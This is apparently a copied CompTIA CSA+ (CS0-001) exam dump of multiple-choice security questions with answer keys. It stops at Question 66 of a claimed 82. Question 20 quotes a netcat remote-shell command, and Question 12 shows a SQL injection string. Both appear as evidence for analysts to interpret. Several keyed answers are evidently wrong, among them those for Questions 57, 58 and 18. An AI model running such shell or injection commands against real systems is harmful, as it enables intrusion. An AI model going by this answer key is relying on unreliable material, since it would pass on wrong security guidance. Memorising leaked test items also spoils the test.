CS0-001.exam.82q

CompTIA CS0-001

CompTIA CSA+ Certification Exam

Exam A

QUESTION 1
A cybersecurity analyst is conducting a security test to ensure that information regarding the web server is protected from disclosure. The cybersecurity analyst requested an HTML file from the web server, and the response came back as follows:

```
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Tues, 19 Apr 2016 06:32:24 GMT
Content-Type: text/html
Content-Length: 111
<html><head><title>Site Not Found</title></head>
<body>No web site is configured at this address. </body></html>
```

Which of the following actions should be taken to remediate this security issue?

A. Set "Allowlatescanning" to 1 in the URLScan.ini configuration file.
B. Set "Removeserverheader" to 1 in the URLScan.ini configuration file.
C. Set "Enablelogging" to 0 in the URLScan.ini configuration file.
D. Set "Perprocesslogging" to 1 in the URLScan.ini configuration file.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:
ref: http://www.acunetix.com/blog/articles/configure-web-server-disclose-identity/

QUESTION 2
An analyst has initiated an assessment of an organization's security posture. As a part of this review, the analyst would like to determine how much information about the organization is exposed externally. Which of the following techniques would BEST help the analyst accomplish this goal? (Select two.)

A. Fingerprinting
B. DNS query log reviews
C. Banner grabbing
D. Internet searches
E. Intranet portal reviews
F. Sourcing social network sites

G. Technical control audits

Correct Answer: AF
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 3
A cybersecurity professional typed in a URL and discovered the admin panel for the e-commerce application is accessible over the open web with the default password. Which of the following is the MOST secure solution to remediate this vulnerability?

A. Rename the URL to a more obscure name, whitelist all corporate IP blocks, and require two-factor authentication.
B. Change the default password, whitelist specific source IP addresses, and require two-factor authentication.
C. Whitelist all corporate IP blocks, require an alphanumeric passphrase for the default password, and require two-factor authentication.
D. Change the username and default password, whitelist specific source IP addresses, and require two-factor authentication.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 4
An organization is requesting the development of a disaster recovery plan. The organization has grown and so has its infrastructure. Documentation, policies, and procedures do not exist. Which of the following steps should be taken to assist in the development of the disaster recovery plan?

A. Conduct a risk assessment.
B. Develop a data retention policy.
C. Execute vulnerability scanning.
D. Identify assets.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

Explanation:

QUESTION 5
A company wants to update its acceptable use policy (AUP) to ensure it relates to the newly implemented password standard, which requires sponsored authentication of guest wireless devices. Which of the following is MOST likely to be incorporated in the AUP?

A. Sponsored guest passwords must be at least ten characters in length and contain a symbol.
B. The corporate network should have a wireless infrastructure that uses open authentication standards.
C. Guests using the wireless network should provide valid identification when registering their wireless devices.
D. The network should authenticate all guest users using 802.1x backed by a RADIUS or LDAP server.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 6
An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meet the compatibility requirement? (Select three.)

A. 3DES
B. AES
C. IDEA
D. PKCS
E. PGP
F. SSL/TLS
G. TEMPEST

Correct Answer: BDF
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 7
After completing a vulnerability scan, the following output was noted:

```
CVE-2011-3389
QID 42366 - SSLv3.0 / TLSv1.0 Protocol weak CBC mode Server side vulnerability

Check with:

openssl s_client -connect qualys.jive.mobile.com:443 - tlsl -cipher "AES:CAMELLIA:SEED:3DES:DES"
```

Which of the following vulnerabilities has been identified?

A. PKI transfer vulnerability.
B. Active Directory encryption vulnerability.
C. Web application cryptography vulnerability.
D. VPN tunnel vulnerability.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 8
A security analyst is adding input to the incident response communication plan. A company officer has suggested that if a data breach occurs, only affected parties should be notified to keep an incident from becoming a media headline. Which of the following should the analyst recommend to the company officer?

A. The first responder should contact law enforcement upon confirmation of a security incident in order for a forensics team to preserve chain of custody.
B. Guidance from laws and regulations should be considered when deciding who must be notified in order to avoid fines and judgements from non-compliance.
C. An externally hosted website should be prepared in advance to ensure that when an incident occurs victims have timely access to notifications from a non-compromised recourse.
D. The HR department should have information security personnel who are involved in the investigation of the incident sign non-disclosure agreements so the company cannot be held liable for customer data that might be viewed during an investigation.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 9
A company has recently launched a new billing invoice website for a few key vendors. The cybersecurity analyst is receiving calls that the website is performing slowly and the pages sometimes time out. The analyst notices the website is receiving millions of requests, causing the service to become unavailable. Which of the following can be implemented to maintain the availability of the website?

A. VPN

B. Honeypot

C. Whitelisting

D. DMZ

E. MAC filtering

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 10
A cybersecurity analyst has received the laptop of a user who recently left the company. The analyst types 'history' into the prompt, and sees this line of code in the latest bash history:

```
> for i in seq 255; ping -c 1 192.168.0.$i; done
```

This concerns the analyst because this subnet should not be known to users within the company. Which of the following describes what this code has done on the network?

A. Performed a ping sweep of the Class C network.

B. Performed a half open SYB scan on the network.

C. Sent 255 ping packets to each host on the network.

D. Sequentially sent an ICMP echo reply to the Class C network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 11
A security audit revealed that port 389 has been used instead of 636 when connecting to LDAP for the authentication of users. The remediation recommended by the audit was to switch the port to 636 wherever technically possible. Which of the following is the BEST response?

A. Correct the audit. This finding is a well-known false positive; the services that typically run on 389 and 636 are identical.
B. Change all devices and servers that support it to 636, as encrypted services run by default on 636.
C. Change all devices and servers that support it to 636, as 389 is a reserved port that requires root access and can expose the server to privilege escalation attacks.
D. Correct the audit. This finding is accurate, but the correct remediation is to update encryption keys on each of the servers to match port 636.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 12
A security analyst is reviewing IDS logs and notices the following entry:

```
(where email=john@john.com and password='  or 20==20')
```

Which of the following attacks is occurring?

A. Cross-site scripting
B. Header manipulation
C. SQL injection
D. XML injection

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 13
A company that is hiring a penetration tester wants to exclude social engineering from the list of authorized activities. Which of the following documents should include these details?

A. Acceptable use policy

B. Service level agreement

C. Rules of engagement

D. Memorandum of understanding

E. Master service agreement

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 14
A reverse engineer was analyzing malware found on a retailer's network and found code extracting track data in memory. Which of the following threats did the engineer MOST likely uncover?

A. POS malware

B. Rootkit

C. Key logger

D. Ransomware

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 15
Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Select two.)

A. COBIT

B. NIST

C. ISO 27000 series

D. ITIL

E. OWASP

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 16
A system administrator recently deployed and verified the installation of a critical patch issued by the company's primary OS vendor. This patch was supposed to remedy a vulnerability that would allow an adversary to remotely execute code from over the network. However, the administrator just ran a vulnerability assessment of networked systems, and each of them still reported having the same vulnerability. Which of the following is the MOST likely explanation for this?

A. The administrator entered the wrong IP range for the assessment.
B. The administrator did not wait long enough after applying the patch to run the assessment.
C. The patch did not remediate the vulnerability.
D. The vulnerability assessment returned false positives.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 17
An incident response report indicates a virus was introduced through a remote host that was connected to corporate resources. A cybersecurity analyst has been asked for a recommendation to solve this issue. Which of the following should be applied?

A. MAC
B. TAP
C. NAC
D. ACL

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 18
Review the following results:

```
Source               Destination          Protocol  Length    Info

172.29.0.109         8.8.8.8              DNS       74        Standard query 0x9ada A itsec. eicp.net
8.8.8.8              172.29.0.109         DNS       90        Standard query response 0x9ada A
                                                              itsec.eicp.net A 123.120.110.212
172.29.0.109         123.120.110.212      TCP       78        49294 -8088 [SYN] seq=0 Win=65635 Len=0
                                                              MSS=1460 WS=16 TSval=560397766 Tsecr=0 SACK_PERM=1
123.120.110.212      172.29.0.109         TCP       78        8080-49294 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0MSS=1426
                                                              WS=4 TSval=0 Tsecr=0 SACK_PERM=1al=560402112 TSecr=240871
172.29.0.109         172.29.0.255         NBNS      92        Namequery NB WORKGROUP<ID>
54.240.190.21        172.29.0.109         TCP       60        443 - 49294 [RST] Seq=1 Win=0 Len=0
66.235.133.62        172.29.0.109         TCP       60        80 - 49294 [RST] Seq=1 Win=0 Len=0
123.120.110.212      172.29.0.109         TCP       67        8088-49294 [PSH, ACK] Seq=459 ACK=347 Win 255204 Len=1
                                                              TSval=241898 TSecr=560402112
172.29.0.109         123.120.110.212      TCP       66        49294-8088 [ACK] Seq=347 Ack=460 Win=131056 Len=0
                                                              TSval=560504900 TSecr=241898
```

Which of the following has occurred?

A. This is normal network traffic.
B. 123.120.110.212 is infected with a Trojan.
C. 172.29.0.109 is infected with a worm.
D. 172.29.0.109 is infected with a Trojan.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 19
A security analyst is creating baseline system images to remediate vulnerabilities found in different operating systems. Each image needs to be scanned before it is deployed. The security analyst must ensure the configurations match industry standard benchmarks and the process can be repeated frequently. Which of the

following vulnerability options would BEST create the process requirements?

A. Utilizing an operating system SCAP plugin
B. Utilizing an authorized credential scan
C. Utilizing a non-credential scan
D. Utilizing a known malware plugin

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 20
A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs.

Given the following snippet of code:

```
sc config schedule start auto
net start schedule
at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe ""
```

Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

A. The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network.
B. The cybersecurity analyst has discovered host 192.168.0.101 to be running thenc.exe file at 13:30 using the auto cron job remotely, there are no recommendations since this is not a threat currently.
C. The cybersecurity analyst has discovered host 192.168.0.101 is beaconing every day at 13:30 using thenc.exe file; recommend proceeding with the next step of removing the host from the network.
D. The security analyst has discovered host 192.168.0.101 is a rogue device on the network, recommend proceeding with the next step of removing the host from the network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 21
An analyst wants to use a command line tool to identify open ports and running services on a host along with the application that is associated with those services and port. Which of the following should the analyst use?

A. Wireshark
B. Qualys
C. netstat
D. nmap
E. ping

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 22
In order to meet regulatory compliance objectives for the storage of PHI, vulnerability scans must be conducted on a continuous basis. The last completed scan of the network returned 5,682 possible vulnerabilities. The Chief Information Officer (CIO) would like to establish a remediation plan to resolve all known issues. Which of the following is the BEST way to proceed?

A. Attempt to identify all false positives and exceptions, and then resolve all remaining items.
B. Hold off on additional scanning until the current list of vulnerabilities have been resolved.
C. Place assets that handle PHI in a sandbox environment, and then resolve all vulnerabilities.
D. Reduce the scan to items identified as critical in the asset inventory, and resolve these issues first.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 23
An administrator has been investigating the way in which an actor had been exfiltrating confidential data from a web server to a foreign host. After a thorough forensic review, the administrator determined the server's BIOS had been modified by rootkit installation. After removing the rootkit and flashing the BIOS to a known good state, which of the following would BEST protect against future adversary access to the BIOS, in case another rootkit is installed?

A. Anti-malware application
B. Host-based IDS
C. TPM data sealing
D. File integrity monitoring

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 24
A security analyst is reviewing the following log after enabling key-based authentication.

```
Dec 21 11:00:57 comptia sshd[5657]: Failed password for root from
95.58.255.62 port 38980 ssh2
Dec 21 20:08:26 comptia sshd[5768]: Failed password for root from
91.205.189.15 port 38156 ssh2
Dec 21 20:08:30 comptia sshd[5770]: Failed password for nobody from
91.205.189.15 port 38556 ssh2
Dec 21 20:08:34 comptia sshd[5772]: Failed password for invalid user
asterisk from 91.205.189.15 port 38864 ssh2
Dec 21 20:08:38 comptia sshd[5774]: Failed password for invalid user
sjobeck from 91.205.189.15 port 39157 ssh2
Dec 21 20:08:42 comptia sshd[5776]: Failed password for root from
91.205.189.15 port 39467 ssh2
```

Given the above information, which of the following steps should be performed NEXT to secure the system?

A. Disable anonymous SSH logins.
B. Disable password authentication for SSH.
C. Disable SSHv1.
D. Disable remote root SSH logins.

Correct Answer: B
Section: (none)
Explanation

QUESTION 25

A cybersecurity analyst has received a report that multiple systems are experiencing slowness as a result of a DDoS attack. Which of the following would be the BEST action for the cybersecurity analyst to perform?

A. Continue monitoring critical systems.
B. Shut down all server interfaces.
C. Inform management of the incident.
D. Inform users regarding the affected systems.

Correct Answer: C
Section: (none)
Explanation

QUESTION 26

A security analyst has been asked to remediate a server vulnerability. Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

A. Start the change control process.
B. Rescan to ensure the vulnerability still exists.
C. Implement continuous monitoring.
D. Begin the incident response process.

Correct Answer: A
Section: (none)
Explanation

QUESTION 27

A software assurance lab is performing a dynamic assessment on an application by automatically generating and inputting different, random data sets to attempt to cause an error/failure condition. Which of the following software assessment capabilities is the lab performing AND during which phase of the SDLC should this occur? (Select two.)

A. Fuzzing
B. Behavior modeling
C. Static code analysis
D. Prototyping phase
E. Requirements phase
F. Planning phase

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 28
Law enforcement has contacted a corporation's legal counsel because correlated data from a breach shows the organization as the common denominator from all indicators of compromise. An employee overhears the conversation between legal counsel and law enforcement, and then posts a comment about it on social media. The media then starts contacting other employees about the breach. Which of the following steps should be taken to prevent further disclosure of information about the breach?

A. Security awareness about incident communication channels
B. Request all employees verbally commit to an NDA about the breach
C. Temporarily disable employee access to social media
D. Law enforcement meeting with employees

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 29
A recent vulnerability scan found four vulnerabilities on an organization's public Internet-facing IP addresses. Prioritizing in order to reduce the risk of a breach to the organization, which of the following should be remediated FIRST?

A. A cipher that is known to be cryptographically weak.
B. A website using a self-signed SSL certificate.

C. A buffer overflow that allows remote code execution.

D. An HTTP response that reveals an internal IP address.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 30
A security professional is analyzing the results of a network utilization report. The report includes the following information:

```
IP Address      Server Name         Server Uptime       Historical   Current
172.20.2.58     web.srvr.03         30D 12H 52M 09S     41.3GB       37.2GB
172.20.1.215    dev.web.srvr.01     30D 12H 52M 09S     1.81GB       2.2GB
172.20.1.22     hr.dbprod.01        30D 12H 17M 22S     2.24GB       29.97GB
172.20.1.26     mrktg.file.srvr.02  30D 12H 41M 09S     1.23GB       0.34GB
172.20.1.28     accnt.file.srvr.01  30D 12H 52M 09S     3.62GB       3.57GB
172.20.1.30     R&D.file.srvr.01     1D  4H 22M 01S     1.24GB       0.764GB
```

Which of the following servers needs further investigation?

A. hr.dbprod.01

B. R&D.file.srvr.01

C. mrktg.file.srvr.02

D. web.srvr.03

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 31
A cybersecurity analyst has several SIEM event logs to review for possible APT activity. The analyst was given several items that include lists of indicators for both IP addresses and domains. Which of the following actions is the BEST approach for the analyst to perform?

A. Use the IP addresses to search through the event logs.
B. Analyze the trends of the events while manually reviewing to see if any of the indicators match.
C. Create an advanced query that includes all of the indicators, and review any of the matches.
D. Scan for vulnerabilities with exploits known to have been used by an APT.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 32
A system administrator has reviewed the following output:

```
#nmap server.local
Nmap scan report for server.local (10.10.2.5)
Host is up (0.3452354s latency)
Not shown:997 closed ports

PORT        STATE       Service
22/tcp      open        ssh
80/tcp      open        http

#nc server.local 80
220 server.local Company SMTP server (Postfix/2.3.3)
#nc server.local 22
SSH-2.0-OpenSSH_7.1p2 Debian-2
#
```

Which of the following can a system administrator infer from the above output?

A. The company email server is running a non-standard port.
B. The company email server has been compromised.
C. The company is running a vulnerable SSH server.
D. The company web server has been compromised.

Correct Answer: A
Section: (none)
Explanation

QUESTION 33
An analyst has received unusual alerts on the SIEM dashboard. The analyst wants to get payloads that the hackers are sending toward the target systems without impacting the business operation. Which of the following should the analyst implement?

A. Honeypot
B. Jump box
C. Sandboxing
D. Virtualization

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 34
An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged. Which of the following is the BEST logical control to address the failure?

A. Configure a script to automatically update the scanning tool.
B. Manually validate that the existing update is being performed.
C. Test vulnerability remediation in a sandbox before deploying.
D. Configure vulnerability scans to run in credentialed mode.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 35
A cybersecurity analyst has received an alert that well-known "call home" messages are continuously observed by network sensors at the network boundary. The proxy firewall successfully drops the messages. After determining the alert was a true positive, which of the following represents the MOST likely cause?

A. Attackers are running reconnaissance on company resources.

B. Commands are attempting to reach a system infected with a botnet trojan.

C. An insider is trying to exfiltrate information to a remote network.

D. Malware is running on a company system.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 36
Which of the following items represents a document that includes detailed information on when an incident was detected, how impactful the incident was, and how it was remediated, in addition to incident response effectiveness and any identified gaps needing improvement?

A. Forensic analysis report

B. Chain of custody report

C. Trends analysis report

D. Lessons learned report

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 37
After scanning the main company's website with the OWASP ZAP tool, a cybersecurity analyst is reviewing the following warning:

```
The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT
containing password type input. Passwords may be stored in
browsers and retrieved.
```

The analyst reviews a snippet of the offending code:

```
<form action="authenticate.php">
    Username:<br>
    <input type="text" name="username" value="" autofocus><br>
    Password: <br>
    <input type="password" name="passwword" value="" maxlength="32"><br>
    <input type="submit" value="submit">
</form>
```

Which of the following is the BEST course of action based on the above warning and code snippet?

A. The analyst should implement a scanner exception for the false positive.
B. The system administrator should disable SSL and implement TLS.
C. The developer should review the code and implement a code fix.
D. The organization should update the browser GPO to resolve the issue.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 38
An alert has been distributed throughout the information security community regarding a critical Apache vulnerability. Which of the following courses of action would ONLY identify the known vulnerability?

A. Perform an unauthenticated vulnerability scan on all servers in the environment.
B. Perform a scan for the specific vulnerability on all web servers.
C. Perform a web vulnerability scan on all servers in the environment.
D. Perform an authenticated scan on all web servers in the environment.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

Explanation:

QUESTION 39
Which of the following commands would a security analyst use to make a copy of an image for forensics use?

A. dd
B. wget
C. touch
D. rm

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 40
As part of an upcoming engagement for a client, an analyst is configuring a penetration testing application to ensure the scan complies with information defined in the SOW. Which of the following types of information should be considered based on information traditionally found in the SOW? (Select two.)

A. Timing of the scan
B. Contents of the executive summary report
C. Excluded hosts
D. Maintenance windows
E. IPS configuration
F. Incident response policies

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 41
An HR employee began having issues with a device becoming unresponsive after attempting to open an email attachment. When informed, the security analyst became suspicious of the situation, even though there was not any unusual behavior on the IDS or any alerts from the antivirus software. Which of the following BEST describes the type of threat in this situation?

A. Packet of death

B. Zero-day malware

C. PII exfiltration

D. Known virus

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 42
An organization wants to remediate vulnerabilities associated with its web servers. An initial vulnerability scan has been performed, and analysts are reviewing the results. Before starting any remediation, the analysts want to remove false positives to avoid spending time on issues that are not actual vulnerabilities. Which of the following would be an indicator of a likely false positive?

A. Reports show the scanner compliance plug-in is out-of-date.

B. Any items labeled 'low' are considered informational only.

C. The scan result version is different from the automated asset inventory.

D. 'HTTPS' entries indicate the web page is encrypted securely.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 43
Company A permits visiting business partners from Company B to utilize Ethernet ports available in Company A's conference rooms. This access is provided to allow partners the ability to establish VPNs back to Company B's network. The security architect for Company A wants to ensure partners from Company B are able to gain direct Internet access from available ports only, while Company A employees can gain access to the Company A internal network from those same ports. Which of the following can be employed to allow this?

A. ACL

B. SIEM

C. MAC

D. NAC

E. SAML

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 44
After reviewing the following packet, a cybersecurity analyst has discovered an unauthorized service is running on a company's computer.

```
16:26:42.943463 IP 192.168.1.10:25 > 10.38.219.20:3389 Flags
[P.], seq 1768:1901, ackl, win 511, options [nop,nop,TS val
271989777 ecr 475239494], length 133
```

Which of the following ACLs, if implemented, will prevent further access ONLY to the unauthorized service and will not impact other services?

A. DENY TCP ANY HOST 10.38.219.20 EQ 3389
B. DENY IP HOST 10.38.219.20 ANY EQ 25
C. DENY IP HOST192.168.1.10 HOST 10.38.219.20 EQ 3389
D. DENY TCP ANY HOST 192.168.1.10 EQ 25

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 45
The new Chief Technology Officer (CTO) is seeking recommendations for network monitoring services for the local intranet. The CTO would like the capability to monitor all traffic to and from the gateway, as well as the capability to block certain content. Which of the following recommendations would meet the needs of the organization?

A. Recommend setup of IP filtering on both the internal and external interfaces of the gateway router.
B. Recommend installation of an IDS on the internal interface and a firewall on the external interface of the gateway router.
C. Recommend installation of a firewall on the internal interface and a NIDS on the external interface of the gateway router.

D. Recommend installation of an IPS on both the internal and external interfaces of the gateway router.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 46
While a threat intelligence analyst was researching an indicator of compromise on a search engine, the web proxy generated an alert regarding the same indicator. The threat intelligence analyst states that related sites were not visited but were searched for in a search engine. Which of the following MOST likely happened in this situation?

A. The analyst is not using the standard approved browser.
B. The analyst accidently clicked a link related to the indicator.
C. The analyst has prefetch enabled on the browser in use.
D. The alert in unrelated to the analyst's search.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 47
Which of the following remediation strategies are MOST effective in reducing the risk of a network-based compromise of embedded ICS? (Select two.)

A. Patching
B. NIDS
C. Segmentation
D. Disabling unused services
E. Firewalling

Correct Answer: CD
Section: (none)
Explanation

QUESTION 48
An analyst is observing unusual network traffic from a workstation. The workstation is communicating with a known malicious site over an encrypted tunnel. A full antivirus scan with an updated antivirus signature file does not show any sign of infection. Which of the following has occurred on the workstation?

A. Zero-day attack
B. Known malware attack
C. Session hijack
D. Cookie stealing

Correct Answer: A
Section: (none)
Explanation

QUESTION 49
A university wants to increase the security posture of its network by implementing vulnerability scans of both centrally managed and student/employee laptops. The solution should be able to scale, provide minimum false positives and high accuracy of results, and be centrally managed through an enterprise console. Which of the following scanning topologies is BEST suited for this environment?

A. A passive scanning engine located at the core of the network infrastructure
B. A combination of cloud-based and server-based scanning engines
C. A combination of server-based and agent-based scanning engines
D. An active scanning engine installed on the enterprise console

Correct Answer: D
Section: (none)
Explanation

QUESTION 50
A network technician is concerned that an attacker is attempting to penetrate the network, and wants to set a rule on the firewall to prevent the attacker from learning which IP addresses are valid on the network. Which of the following protocols needs to be denied?

A. TCP
B. SMTP
C. ICMP
D. ARP

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
When network administrators observe an increased amount of web traffic without an increased number of financial transactions, the company is MOST likely experiencing which of the following attacks?

A. Bluejacking
B. ARP cache poisoning
C. Phishing
D. DoS

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
A database administrator contacts a security administrator to request firewall changes for a connection to a new internal application.
The security administrator notices that the new application uses a port typically monopolized by a virus.
The security administrator denies the request and suggests a new port or service be used to complete the application's task.
Which of the following is the security administrator practicing in this example?

A. Explicit deny
B. Port security
C. Access control lists
D. Implicit deny

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
A network administrator is attempting to troubleshoot an issue regarding certificates on a secure website.
During the troubleshooting process, the network administrator notices that the web gateway proxy on the local network has signed all of the certificates on the local machine.
Which of the following describes the type of attack the proxy has been legitimately programmed to perform?

A. Transitive access
B. Spoofing
C. Man-in-the-middle
D. Replay

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54
A company discovers an unauthorized device accessing network resources through one of many network drops in a common area used by visitors.
The company decides that it wants to quickly prevent unauthorized devices from accessing the network but policy prevents the company from making changes on every connecting client.
Which of the following should the company implement?

A. Port security
B. WPA2
C. Mandatory Access Control
D. Network Intrusion Prevention

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 55
Which of the following is a control that allows a mobile application to access and manipulate information which should only be available by another application on the same mobile device (e.g. a music application posting the name of the current song playing on the device on a social media site)?

A. Co-hosted application
B. Transitive trust
C. Mutually exclusive access
D. Dual authentication

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 56
Using a heuristic system to detect an anomaly in a computer's baseline, a system administrator was able to detect an attack even though the company signature based IDS and antivirus did not detect it. Further analysis revealed that the attacker had downloaded an executable file onto the company PC from the USB port, and executed it to trigger a privilege escalation flaw. Which of the following attacks has MOST likely occurred?

A. Cookie stealing
B. Zero-day
C. Directory traversal
D. XML injection

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 57
Given the following output from a Linux machine:

```
file2cable –i eth0 –f file.pcap
```

Which of the following BEST describes what a security analyst is trying to accomplish?

A. The analyst is attempting to measure bandwidth utilization on interface `eth0`.
B. The analyst is attempting to capture traffic on interface `eth0`.
C. The analyst is attempting to replay captured data from a PCAP file.
D. The analyst is attempting to capture traffic for a PCAP file.
E. The analyst is attempting to use a protocol analyzer to monitor network traffic.

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 58
A recent audit has uncovered several coding errors and a lack of input validation being used on a public portal. Due to the nature of the portal and the severity of the errors, the portal is unable to be patched. Which of the following tools could be used to reduce the risk of being compromised?

A. Web application firewall
B. Network firewall
C. Web proxy
D. Intrusion prevention system

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 59
Various devices are connecting and authenticating to a single evil twin within the network. Which of the following are MOST likely being targeted?

A. Mobile devices
B. All endpoints
C. VPNs

D. Network infrastructure

E. Wired SCADA devices

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference http://www.corecom.com/external/livesecurity/eviltwin1.htm

QUESTION 60
As part of the SDLC, software developers are testing the security of a new web application by inputting large amounts of random data. Which of the following types of testing is being performed?

A. Fuzzing

B. Regression testing

C. Stress testing

D. Input validation

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 61
An organization uses Common Vulnerability Scoring System (CVSS) scores to prioritize remediation of vulnerabilities.

Management wants to modify the priorities based on a difficulty factor so that vulnerabilities with lower CVSS scores may get a higher priority if they are easier to implement with less risk to system functionality. Management also wants to quantify the priority. Which of the following would achieve management's objective?

A. (CVSS Score) * Difficulty = Priority
Where Difficulty is a range from 0.1 to 1.0 with 1.0 being easiest and lowest risk to implement

B. (CVSS Score) * Difficulty = Priority
Where Difficulty is a range from 1 to 5 with 1 being easiest and lowest risk to implement

C. (CVSS Score) / Difficulty = Priority
Where Difficulty is a range from 1 to 10 with 10 being easiest and lowest risk to implement

D. ((CVSS Score) * 2) / Difficulty = Priority

Where CVSS Score is weighted and Difficulty is a range from 1 to 5 with 5 being easiest and lowest risk to implement

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 62
A security analyst is attempting to configure a vulnerability scan for a new segment on the network. Given the requirement to prevent credentials from traversing the network while still conducting a credentialed scan, which of the following is the BEST choice?

A. Install agents on the endpoints to perform the scan
B. Provide each endpoint with vulnerability scanner credentials
C. Encrypt all of the traffic between the scanner and the endpoint
D. Deploy scanners with administrator privileges on each endpoint

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 63
A cybersecurity consultant is reviewing the following output from a vulnerability scan against a newly installed MS SQL Server 2012 that is slated to go into production in one week:

Summary

The remote MS SQL server is vulnerable to the Hello overflow

Solution

Install Microsoft Patch Q316333 or disable the Microsoft SQL Server service or use a firewall to protect the MS SQL port

References

MSB: MS02-043, MS02-056, MS02-061
CVE: CVE-2002-1123
BID: 5411
Other: IAVA 2002-B-0007

Based on the above information, which of the following should the system administrator do? (Select TWO).

A. Verify the vulnerability using penetration testing tools or proof-of-concept exploits.
B. Review the references to determine if the vulnerability can be remotely exploited.
C. Mark the result as a false positive so it will show in subsequent scans.
D. Configure a network-based ACL at the perimeter firewall to protect the MS SQL port.
E. Implement the proposed solution by installing Microsoft patch Q316333.

Correct Answer: DE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 64
Which of the following are essential components within the rules of engagement for a penetration test? (Select TWO).

A. Schedule
B. Authorization
C. List of system administrators
D. Payment terms
E. Business justification

Correct Answer: AB

QUESTION 65
A production web server is experiencing performance issues. Upon investigation, new unauthorized applications have been installed and suspicious traffic was sent through an unused port. Endpoint security is not detecting any malware or virus. Which of the following types of threats would this MOST likely be classified as?

A. Advanced persistent threat
B. Buffer overflow vulnerability
C. Zero day
D. Botnet

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 66
